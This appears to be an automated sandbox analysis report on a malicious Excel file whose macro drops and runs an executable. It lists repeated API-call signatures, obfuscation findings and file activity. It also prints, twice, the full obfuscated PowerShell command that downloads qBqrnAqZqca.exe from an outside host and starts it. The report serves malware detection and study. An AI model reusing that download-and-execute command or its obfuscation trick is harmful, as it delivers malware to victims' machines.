Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Drops PE files to the document folder of the userShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Documents\qBqrnAqZqca.exe

Data Obfuscation:

barindex
Contains functionality to dynamically determine API callsShow sources
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: 8_2_5E3A9666 LoadLibraryA,GetProcAddress,8_2_5E3A9666
Uses code obfuscation techniques (call, push, ret)Show sources
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: 8_2_5E3B6CA3 push ecx; ret 8_2_5E3B6CB3
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: 8_2_5E3BB5D0 push 414182B8h; ret 8_2_5E3BB5F3
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: 8_2_015D1B94 push edi; retf 8_2_015D1B9D
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: 8_1_5E3B7145 push ecx; ret 8_1_5E3B7158
Source: C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\CRLCache\818200132aebmoouht.exeCode function: 9_2_5E3B6CA3 push ecx; ret 9_2_5E3B6CB3
Source: C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\CRLCache\818200132aebmoouht.exeCode function: 9_2_5E3BB5D0 push 414182B8h; ret 9_2_5E3BB5F3
Source: C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\CRLCache\818200132aebmoouht.exeCode function: 9_2_01611B94 push edi; retf 9_2_01611B9D
Document contains an embedded VBA with many string operations indicating source code obfuscationShow sources
Source: Documento n.3653_ft_copia.xlsStream path '_VBA_PROJECT_CUR/VBA/ThisWorkbook' : High number of string operations
Source: VBA code instrumentationOLE, VBA macro, High number of string operations: Module ThisWorkbookName: ThisWorkbook
Obfuscated command line foundShow sources
Source: unknownProcess created: C:\Windows\System32\cmd.exe cMD.exe /c 'p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='';$uy='qBqrnAqZqca';$ji='.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'https://fattiur.loan/atto'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)'
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cMD.exe /c 'p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='';$uy='qBqrnAqZqca';$ji='.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'https://fattiur.loan/atto'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)'

Spreading:

barindex
Contains functionality to enumerate / list files inside a directoryShow sources
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: 8_2_5E3A7522 FindFirstFileW,8_2_5E3A7522
Enumerates the file systemShow sources
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Users\user\AppData
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Users\user\AppData\Roaming\Microsoft\Office
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Users\user\AppData\Roaming
